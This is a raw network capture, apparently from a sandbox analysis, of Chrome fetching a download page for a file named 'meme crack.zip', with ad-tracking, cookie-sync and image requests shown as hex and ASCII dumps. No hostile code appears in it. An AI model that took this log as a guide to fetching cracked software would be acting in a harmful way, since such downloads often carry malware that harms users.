2024-06-15 09:15:03 UTC	16384	IN	Data Raw: 39 34 31 20 32 38 37 2e 31 38 32 20 38 2e 35 37 32 35 39 20 32 38 36 2e 38 33 36 20 38 2e 39 31 38 39 35 43 32 38 36 2e 34 39 34 20 39 2e 32 36 35 33 20 32 38 36 2e 33 32 33 20 39 2e 37 32 31 30 33 20 32 38 36 2e 33 32 33 20 31 30 2e 32 38 36 31 43 32 38 36 2e 33 32 33 20 31 30 2e 38 35 31 32 20 32 38 36 2e 34 39 20 31 31 2e 32 39 35 36 20 32 38 36 2e 38 32 32 20 31 31 2e 36 31 39 31 43 32 38 37 2e 31 36 20 31 31 2e 39 34 32 37 20 32 38 37 2e 36 32 37 20 31 32 2e 31 30 34 35 20 32 38 38 2e 32 32 34 20 31 32 2e 31 30 34 35 43 32 38 38 2e 38 31 36 20 31 32 2e 31 30 34 35 20 32 38 39 2e 32 38 31 20 31 31 2e 39 34 32 37 20 32 38 39 2e 36 31 38 20 31 31 2e 36 31 39 31 43 32 38 39 2e 39 35 35 20 31 31 2e 32 39 31 20 32 39 30 2e 31 32 34 20 31 30 2e 38 34 36 37 Data Ascii: 941 287.182 8.57259 286.836 8.91895C286.494 9.2653 286.323 9.72103 286.323 10.2861C286.323 10.8512 286.49 11.2956 286.822 11.6191C287.16 11.9427 287.627 12.1045 288.224 12.1045C288.816 12.1045 289.281 11.9427 289.618 11.6191C289.955 11.291 290.124 10.8467
2024-06-15 09:15:03 UTC	6338	IN	Data Raw: 32 2e 30 36 38 20 32 32 2e 31 30 39 34 43 31 38 32 2e 35 35 31 20 32 32 2e 35 33 33 32 20 31 38 32 2e 38 30 32 20 32 33 2e 31 31 38 38 20 31 38 32 2e 38 32 20 32 33 2e 38 36 36 32 56 32 37 2e 32 37 30 35 43 31 38 32 2e 38 32 20 32 37 2e 39 34 39 35 20 31 38 32 2e 39 30 37 20 32 38 2e 34 38 39 36 20 31 38 33 2e 30 38 20 32 38 2e 38 39 30 36 56 32 39 48 31 38 31 2e 37 35 34 5a 4d 31 37 39 2e 36 35 35 20 32 38 2e 30 33 36 31 43 31 38 30 2e 30 35 32 20 32 38 2e 30 33 36 31 20 31 38 30 2e 34 32 38 20 32 37 2e 39 33 33 36 20 31 38 30 2e 37 38 33 20 32 37 2e 37 32 38 35 43 31 38 31 2e 31 33 39 20 32 37 2e 35 32 33 34 20 31 38 31 2e 33 39 36 20 32 37 2e 32 35 36 38 20 31 38 31 2e 35 35 36 20 32 36 2e 39 32 38 37 56 32 35 2e 34 31 31 31 48 31 38 30 2e 35 36 34 43 Data Ascii: 2.068 22.1094C182.551 22.5332 182.802 23.1188 182.82 23.8662V27.2705C182.82 27.9495 182.907 28.4896 183.08 28.8906V29H181.754ZM179.655 28.0361C180.052 28.0361 180.428 27.9336 180.783 27.7285C181.139 27.5234 181.396 27.2568 181.556 26.9287V25.4111H180.564C
2024-06-15 09:15:03 UTC	11484	IN	Data Raw: 39 2e 34 35 32 20 32 31 2e 31 37 35 31 20 32 36 39 2e 31 35 31 20 32 30 2e 36 38 37 35 43 32 36 38 2e 38 35 31 20 32 30 2e 31 39 35 33 20 32 36 38 2e 33 37 34 20 31 39 2e 39 34 39 32 20 32 36 37 2e 37 32 33 20 31 39 2e 39 34 39 32 43 32 36 37 2e 30 37 36 20 31 39 2e 39 34 39 32 20 32 36 36 2e 36 30 34 20 32 30 2e 31 39 33 20 32 36 36 2e 33 30 38 20 32 30 2e 36 38 30 37 43 32 36 36 2e 30 31 31 20 32 31 2e 31 36 38 33 20 32 36 35 2e 38 35 39 20 32 31 2e 39 31 38 20 32 36 35 2e 38 35 20 32 32 2e 39 32 39 37 56 32 34 2e 39 35 33 31 43 32 36 35 2e 38 35 20 32 36 2e 30 32 38 36 20 32 36 36 2e 30 30 35 20 32 36 2e 38 32 33 39 20 32 36 36 2e 33 31 34 20 32 37 2e 33 33 38 39 43 32 36 36 2e 36 32 39 20 32 37 2e 38 34 39 33 20 32 36 37 2e 31 30 33 20 32 38 2e 31 30 Data Ascii: 9.452 21.1751 269.151 20.6875C268.851 20.1953 268.374 19.9492 267.723 19.9492C267.076 19.9492 266.604 20.193 266.308 20.6807C266.011 21.1683 265.859 21.918 265.85 22.9297V24.9531C265.85 26.0286 266.005 26.8239 266.314 27.3389C266.629 27.8493 267.103 28.10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.16	49833	23.212.88.20	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:03 UTC	407	OUT	GET /flping.php?reason=0&action=16&pid=8PON7BY3O&gdpr=0&cid=8CU7BC15F&crid= HTTP/1.1 Host: lg3.media.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:15:03 UTC	328	IN	HTTP/1.1 200 OK Content-Length: 35 Content-Type: image/gif Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=21600 Alt-Svc: h3=":443"; ma=93600 Expires: Sat, 15 Jun 2024 09:15:03 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 15 Jun 2024 09:15:03 GMT Connection: close
2024-06-15 09:15:03 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 ff ff ff 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a,@L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.16	49834	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:03 UTC	718	OUT	GET /slake/asset/js/ajax-subscribe.js HTTP/1.1 Host: download.oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
2024-06-15 09:15:03 UTC	389	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Sun, 09 Jun 2024 07:06:02 GMT Content-Type: application/javascript Content-Length: 1429 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT Vary: Accept-Encoding ETag: "5eefbeb2-595" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 526142 DDG-Cache-Status: HIT
2024-06-15 09:15:03 UTC	1429	IN	Data Raw: 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 76 61 72 20 24 66 6f 72 6d 20 3d 20 24 28 27 23 6d 63 2d 65 6d 62 65 64 64 65 64 2d 73 75 62 73 63 72 69 62 65 2d 66 6f 72 6d 27 29 0d 0a 20 20 69 66 20 28 24 66 6f 72 6d 2e 6c 65 6e 67 74 68 20 3e 20 30 29 20 7b 0d 0a 20 20 20 20 24 28 27 66 6f 72 6d 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 75 62 6d 69 74 22 5d 27 29 2e 62 69 6e 64 28 27 63 6c 69 63 6b 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 65 76 65 6e 74 29 20 7b 0d 0a 20 20 20 20 20 20 69 66 20 28 65 76 65 6e 74 29 20 65 76 65 6e 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 0d 0a 20 20 20 20 20 20 72 65 67 69 73 74 65 72 28 24 66 6f 72 6d 29 0d 0a 20 20 20 20 7d 29 0d 0a 20 20 7d 0d 0a 7d Data Ascii: $(document).ready(function () { var $form = $('#mc-embedded-subscribe-form') if ($form.length > 0) { $('form input[type="submit"]').bind('click', function (event) { if (event) event.preventDefault() register($form) }) }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.16	49835	51.89.9.252	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:03 UTC	721	OUT	GET /usync/?pubId=2a897e3f18e6769&cb=1718442902185 HTTP/1.1 Host: onetag-sys.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://download.oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:15:03 UTC	219	IN	HTTP/1.1 200 OK content-type: text/html cache-control: no-transform, no-cache content-length: 2162 strict-transport-security: max-age=15552000 alt-svc: h3=":443"; ma=900, h3-29=":443"; ma=900 connection: close
2024-06-15 09:15:03 UTC	1343	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 79 6e 63 20 50 69 78 65 6c 73 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 73 63 72 69 70 74 3e 0a 0a 20 20 20 20 76 61 72 20 73 79 6e 63 50 69 78 65 6c 73 20 3d 20 22 22 3b 0a 20 20 20 20 76 61 72 20 73 79 6e 63 49 66 72 61 6d 65 73 20 3d 20 22 22 3b 0a 0a 20 20 20 20 76 61 72 20 47 44 50 52 5f 41 50 50 4c 49 45 53 20 3d 20 22 67 64 70 72 3d 22 3b 0a 20 20 20 20 76 61 72 20 47 44 50 52 20 3d 20 22 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3b 0a 20 20 20 20 76 61 72 20 55 53 5f 50 52 49 56 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>Sync Pixels</title></head><body><script> var syncPixels = ""; var syncIframes = ""; var GDPR_APPLIES = "gdpr="; var GDPR = "gdpr_consent="; var US_PRIV
2024-06-15 09:15:03 UTC	819	IN	Data Raw: 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 75 72 6c 20 3d 20 75 72 6c 2e 72 65 70 6c 61 63 65 28 22 24 7b 55 53 5f 50 52 49 56 41 43 59 7d 22 2c 20 75 73 50 72 69 76 61 63 79 29 3b 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6e 65 77 20 49 6d 61 67 65 28 29 2e 73 72 63 20 3d 20 75 72 6c 3b 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 7d 0a 0a 20 20 20 20 69 66 20 28 73 79 6e 63 49 66 72 61 6d 65 73 29 20 7b 0a 0a 20 20 20 20 20 20 20 20 76 61 72 20 73 79 6e 63 46 20 3d 20 73 79 6e 63 49 66 72 61 6d 65 73 2e 73 70 6c 69 74 28 22 2c 22 29 3b 0a 20 20 20 20 20 20 20 20 69 66 20 28 73 79 6e 63 46 20 21 3d 20 6e 75 6c 6c 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 79 6e 63 46 2e Data Ascii: ); url = url.replace("${US_PRIVACY}", usPrivacy); new Image().src = url; }); } } if (syncIframes) { var syncF = syncIframes.split(","); if (syncF != null) { syncF.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.16	49836	52.51.190.15	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:03 UTC	741	OUT	GET /mailNotification.php?st=a96081b6-db78-48c4-9f82-b93e316fb1f7 HTTP/1.1 Host: adtrack.adleadevent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://download.oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: AWSELBCORS=9FC54D150466C174912E5199B1F8E822A79961F4596BFB1311DF4AD552FFCAECC412B5A4F8D63A2A90D1DB19587375008B81DF393E974B37DE71BA6F26DE79F63E8F5DED51
2024-06-15 09:15:03 UTC	414	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Cache-Control: no-store, no-cache, must-revalidate, max-age=0 Cache-Control: post-check=0, pre-check=0 Content-Type: application/x-javascript Date: Sat, 15 Jun 2024 09:15:03 GMT Expires: Sat, 26 Jul 1997 05:00:00 GMT Last-Modified: Sat, 15 Jun 2024 09:15:03 GMT Pragma: no-cache Server: Apache Vary: Accept-Encoding Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.16	49837	88.212.201.198	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:03 UTC	796	OUT	GET /hit?t52.6;rhttps%3A//oxy.st/;s1280102424;uhttps%3A//download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8;hDownload%20file%20meme%20crack.zip%20on%20Oxy.Cloud;0.6960083325253306 HTTP/1.1 Host: counter.yadro.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://download.oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: VID=3Avj3L2_2d8p1cRLkH001V8p
2024-06-15 09:15:03 UTC	300	IN	HTTP/1.1 200 OK Server: nginx/1.17.9 Date: Sat, 15 Jun 2024 09:15:03 GMT Content-Type: image/gif Content-Length: 362 Connection: close Expires: Thu, 15 Jun 2023 21:00:00 GMT Pragma: no-cache Cache-control: no-cache Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=86400
2024-06-15 09:15:03 UTC	362	IN	Data Raw: 47 49 46 38 37 61 58 00 1f 00 f3 00 00 00 00 00 66 66 66 e0 e0 e0 ff ff ff 99 00 00 00 00 99 99 33 00 00 66 00 ff aa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2c 00 00 00 00 58 00 1f 00 00 04 fe 10 c8 49 ab bd 38 eb cd 37 fa 60 28 8e 64 69 9e 68 5a 4a 6a eb be 30 ca c6 74 6d 93 f3 ad ef 6e ce ff 40 91 2f 48 e4 0d 8b c8 da 31 c9 ec 01 8c 9e 66 6b d6 c9 04 00 82 ac 76 0b b8 56 bf e0 0f 55 32 18 80 bb 58 02 61 ab 45 6b ca e7 b7 79 22 7e 22 26 70 78 e7 2a 50 b3 b3 6e 7a 15 82 71 16 84 75 75 00 84 7b 69 04 05 05 59 06 06 02 6e 19 8b 85 78 73 63 89 79 66 9d 8a 65 7a 7c 6a 8f 91 93 81 9e a1 a9 9d a1 a0 ad aa ab ac 73 88 77 64 a9 a0 b8 9f 68 7d 8e 05 07 07 92 94 5e 9f ba b9 b7 c4 c7 b7 74 b5 9c c9 c6 b8 bb a4 be c0 a7 c3 ce 82 c8 14 d9 c5 Data Ascii: GIF87aXfff3f,XI87`(dihZJj0tmn@/H1fkvVU2XaEky"~"&px*Pnzquu{iYnxscyfez\|jswdh}^t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.16	49841	15.197.193.217	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:03 UTC	629	OUT	GET /track/rid?ttd_pid=0fkciot&fmt=json HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://download.oxy.st Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://download.oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=7a9427d7-5567-4b13-ad78-e53aa5bc8a0b
2024-06-15 09:15:03 UTC	595	IN	HTTP/1.1 200 OK Date: Sat, 15 Jun 2024 09:15:03 GMT Content-Type: application/json Content-Length: 108 Connection: close server: Kestrel access-control-allow-credentials: true access-control-allow-headers: Origin, X-Requested-With, Content-Type, Content-Length, Content-Encoding, Vary, Cache-Control, Accept access-control-allow-origin: https://download.oxy.st cache-control: private expires: Mon, 15 Jul 2024 09:15:03 GMT set-cookie: TDID=7a9427d7-5567-4b13-ad78-e53aa5bc8a0b; expires=Sun, 15 Jun 2025 09:15:03 GMT; domain=.adsrvr.org; path=/; secure; samesite=none vary: Origin
2024-06-15 09:15:03 UTC	108	IN	Data Raw: 7b 22 54 44 49 44 22 3a 22 37 61 39 34 32 37 64 37 2d 35 35 36 37 2d 34 62 31 33 2d 61 64 37 38 2d 65 35 33 61 61 35 62 63 38 61 30 62 22 2c 22 54 44 49 44 5f 4c 4f 4f 4b 55 50 22 3a 22 54 52 55 45 22 2c 22 54 44 49 44 5f 43 52 45 41 54 45 44 5f 41 54 22 3a 22 32 30 32 34 2d 30 35 2d 31 35 54 30 39 3a 31 35 3a 30 33 22 7d Data Ascii: {"TDID":"7a9427d7-5567-4b13-ad78-e53aa5bc8a0b","TDID_LOOKUP":"TRUE","TDID_CREATED_AT":"2024-05-15T09:15:03"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.16	49839	185.89.210.244	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:03 UTC	585	OUT	GET /getuidj HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://download.oxy.st Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://download.oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1
2024-06-15 09:15:03 UTC	976	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Sat, 15 Jun 2024 09:15:03 GMT Content-Type: application/json; charset=utf-8 Content-Length: 11 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://download.oxy.st Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: 8579d8b8-ce62-4cb2-870c-15d0c6546e69 Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 03-Jun-2034 09:15:03 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned X-Proxy-Origin: 173.254.250.90; 173.254.250.90; 946.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com
2024-06-15 09:15:03 UTC	11	IN	Data Raw: 7b 22 75 69 64 22 3a 22 30 22 7d Data Ascii: {"uid":"0"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.16	49843	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:03 UTC	758	OUT	GET /slake/asset/img/bg/footer-bg.png HTTP/1.1 Host: download.oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://download.oxy.st/slake/style.css?ver=6 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
2024-06-15 09:15:03 UTC	356	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Sun, 09 Jun 2024 20:34:52 GMT Content-Type: image/png Content-Length: 74560 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT Access-Control-Allow-Origin: * Accept-Ranges: bytes Etag: "5eefbeb2-12340" Age: 477611 DDG-Cache-Status: HIT
2024-06-15 09:15:03 UTC	16028	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 80 00 00 03 7a 08 02 00 00 00 e0 86 c3 fd 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 84 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 32 31 20 37 39 2e 31 35 34 39 31 31 2c 20 32 30 31 33 2f 31 30 2f 32 39 2d 31 31 3a 34 37 3a 31 36 20 20 Data Ascii: PNGIHDRztEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16
2024-06-15 09:15:03 UTC	16384	IN	Data Raw: f9 41 94 b9 1f d3 58 fa 33 b5 92 af e9 cd 03 1c c7 3c 8d db 32 d0 eb 00 4b e8 f4 87 bf 51 9e cb 00 5f 6a 27 af 03 ac 83 1e e7 b1 ac b5 10 d6 c6 f9 d7 fc d3 cd 00 a7 fc b2 9d c6 3e c0 a9 a6 de fa 91 37 d3 18 db 7e 6b 65 c6 7a e8 b0 0f 7d 17 a5 dc 27 07 a1 6f e6 96 4f a4 de 12 63 7d 06 3f e8 27 d8 6f d1 e9 e5 c7 4f c7 f1 e3 3f 3e 7a fc cb cd 7c 7d 64 0e 5e 32 9b 07 33 df 87 2e 0f 42 b8 7b 06 73 b8 7f c9 c4 35 dd 5c ae 38 1f f7 fd 87 6f 9e eb 00 a7 7c de df 0d 1c 4e 23 00 c0 33 ac 80 06 00 0e e5 a9 24 3f c6 92 69 49 eb 8e 73 25 21 32 8d 25 99 b2 36 f6 24 c9 f8 d2 4e 1b ce d9 72 b0 2c bc ab 19 9a b6 40 31 c5 e1 d1 7a c0 bc 24 a0 5b 22 26 3f 4e 93 95 03 a7 92 4b 9d 52 ee 03 ac 27 4f 2d 5b 94 87 58 b7 e9 eb 17 ac a1 43 df 7c ef 8f 66 5e 5a 27 97 01 96 7d ff 4a Data Ascii: AX3<2KQ_j'>7~kez}'oOc}?'oO?>z\|}d^23.B{s5\8o\|N#3$?iIs%!2%6$Nr,@1z$["&?NKR'O-[XC\|f^Z'}J
2024-06-15 09:15:03 UTC	16384	IN	Data Raw: 98 85 d1 b2 f4 d4 87 31 98 85 39 84 e7 24 c3 21 43 ad 96 77 94 64 4e 58 96 31 58 59 5c 65 e9 a3 23 39 5e 92 76 e1 ff 12 b5 44 fa 94 45 3b 33 da 18 ec 58 1e e7 b7 7d 88 0e 36 63 af f5 98 df fa d4 7a 44 dd 58 68 9d 45 63 a7 20 5f 5d 15 9c 9f 1d 0b ea 43 05 dd 09 35 15 ea 68 f6 32 92 15 1c 5c 74 15 08 8f 57 70 a6 7e 7a 2f 23 1b 98 1e 35 68 00 00 00 00 f8 05 81 0e 68 00 00 00 00 78 b1 50 a5 65 17 8a 9e 36 3d 37 8c cb 00 e9 1d 5b 9a b5 6e f9 e8 27 9f 8f d2 cb 6f ce df 9d 9c 6c e6 37 2d 2c 48 b1 49 f6 43 cd 97 eb eb 3d a5 77 6c 16 6e ae 56 16 b8 2a 11 e4 1c c1 c0 05 91 bd d4 a9 37 be 61 61 49 d4 fa 72 1f 58 28 d5 30 2d a6 90 0a 1b 0b 17 aa 3a 96 c8 07 37 c9 b1 51 3c 90 15 0c 9b d7 e3 c5 6c 8d ac 52 93 52 4b cd 4e cf c5 d2 fa 05 2b ed 9a 82 52 c7 f1 81 7c a5 96 Data Ascii: 19$!CwdNX1XY\e#9^vDE;3X}6czDXhEc _]C5h2\tWp~z/#5hhxPe6=7[n'ol7-,HIC=wlnV*7aaIrX(0-:7Q<lRRKN+R\|
2024-06-15 09:15:03 UTC	16018	IN	Data Raw: 90 78 aa eb c4 ec 66 47 2a b3 c3 b9 f9 1c 0c 6d 18 97 4b c3 d8 e6 20 cf 42 9d fe bd 17 7e c2 d1 d8 cd c1 7e a6 5b af fb 45 26 ad 17 19 75 cd 6b c2 d0 41 2a d3 bf 5f 79 b6 eb 5b 5d 13 ba 95 a7 8a 67 18 46 5e b5 a6 2b 8f ba 6e 5e 86 45 66 65 ec 22 48 93 b1 bd 45 13 35 82 ad d7 7b 33 61 b3 b4 02 00 00 00 00 3c 13 ec 80 06 00 00 00 c0 51 34 53 61 29 1b 8a 92 aa 88 44 2e 49 1a 48 db 44 39 f8 4b 53 1a b4 70 a2 ca d9 19 71 92 8b d1 bc 92 a6 57 f4 90 2b ce 16 2f 8e 13 55 72 52 96 d3 ac cd a2 5e 52 70 72 4e 57 71 bd 48 62 28 3b f1 51 32 50 83 6b 6f 27 ad a9 eb b3 6d 77 94 7c 8a 3d 4f fe 47 4e 00 73 f6 90 89 38 d9 94 52 d0 d3 c0 2c 87 a4 37 2c ae a3 5e 5b f2 38 2e fa 80 8a a8 7f 86 9c 3b f1 64 55 c4 92 f1 13 9d 98 44 ab 98 39 ab c8 e7 b9 59 12 d0 bf d9 c4 9c ce c1 Data Ascii: xfGmK B~~[E&ukA_y[]gF^+n^Efe"HE5{3a<Q4Sa)D.IHD9KSpqW+/UrR^RprNWqHb(;Q2Pko'mw\|=OGNs8R,7,^[8.;dUD9Y
